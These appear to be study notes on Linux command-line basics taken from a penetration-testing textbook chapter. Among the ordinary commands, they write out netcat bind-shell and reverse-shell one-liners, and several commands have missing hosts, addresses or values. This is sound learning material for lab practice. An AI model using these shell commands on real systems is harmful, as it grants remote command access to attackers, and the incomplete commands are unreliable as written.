Linux Command-Line

Following Chapter 2 of Georgia Weidman's Penetration Testing book.

Listing Files and Directories

ls -l
ls -a

File System

cd ..
cd /
cd ~/Desktop

Man Pages

man ls
ls --help

User Privileges

adduser georgia
adduser georgia sudo
su geogia
adduser john
sudo adduser john

Creating a New File or Directory

touch myfile
mkdir mydirectory
cd mydirectory

Copying, Moving, and Removing Files

cp /root/myfile myfile2
mv myfile2 myfile3
rm myfile3

Adding Text to a File

echo hello georgia
echo hello georgia > myfile
cat myfile
echo hello georgia again > myfile
cat myfile
echo hello georgia a third time >> myfile
cat myfile

File Permissions

ls -l myfile

-rw-r--r-- 1 root root 6 Aug 25 18:42 myfile

  u  g  o

chmod 777 myfile
ls -l myfile

-rwxrwxrwx 1 root root 6 Aug 25 18:42 myfile

Editing Files

nano testfile

^W Search

vi testfile


Data Manipulation

1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides * 
6 HackerHalted October 
7 Hackcon April

grep September myfile
grep September myfile | cut -d " " -f 2

sed 's/Blackhat/Defcon/' myfile

awk '$1 >5' myfile
awk '{print $1,$3;}' myfile

Managing Installed Packagess

Before "apt-get install", always do an update to get the latest list of available packages:
apt-get update

apt-get install armitage
This will upgrade all installed packages to the latest version:
apt-get upgrade
Repositories are in:

Processes and Services

To see running processes:
ps aux
To control services:
service apache2 start
service mysql stop
service networking restart

Managing Networking

ip addr show
ifconfig eth0 down
ifconfig eth0 up
ifconfig eth0 up promisc
To renew DHCP address:
dhclient -v
dhclient eth0
To set a static IP address temporarily:
ifconfig eth0
To remove all addresses:
ip addr flush dev eth0
To set a static IP address persistently:
nano /etc/network/interfaces

auto eth0 
face eth0 inet static
address netmask

Viewing Network Connections
netstat -antp


Connect to a listening service:
nc 22
Listen on a port:
nc -lvp 1234
Open a Command Shell Listener (aka Bind Shell):
nc -lvp 1234 -e /bin/bash
Pushing a Command Shell Back to Listener (aka Reverse Shell):

First start a listener:

nc -lvp 1234
Push a shell to the listener:
nc 1234 -e /bin/bash
See 10 Useful IP Commands to Configure Network Interfaces

Automating Tasks with cron Jobs

ls /etc | grep cron
crontab -l
crontab -e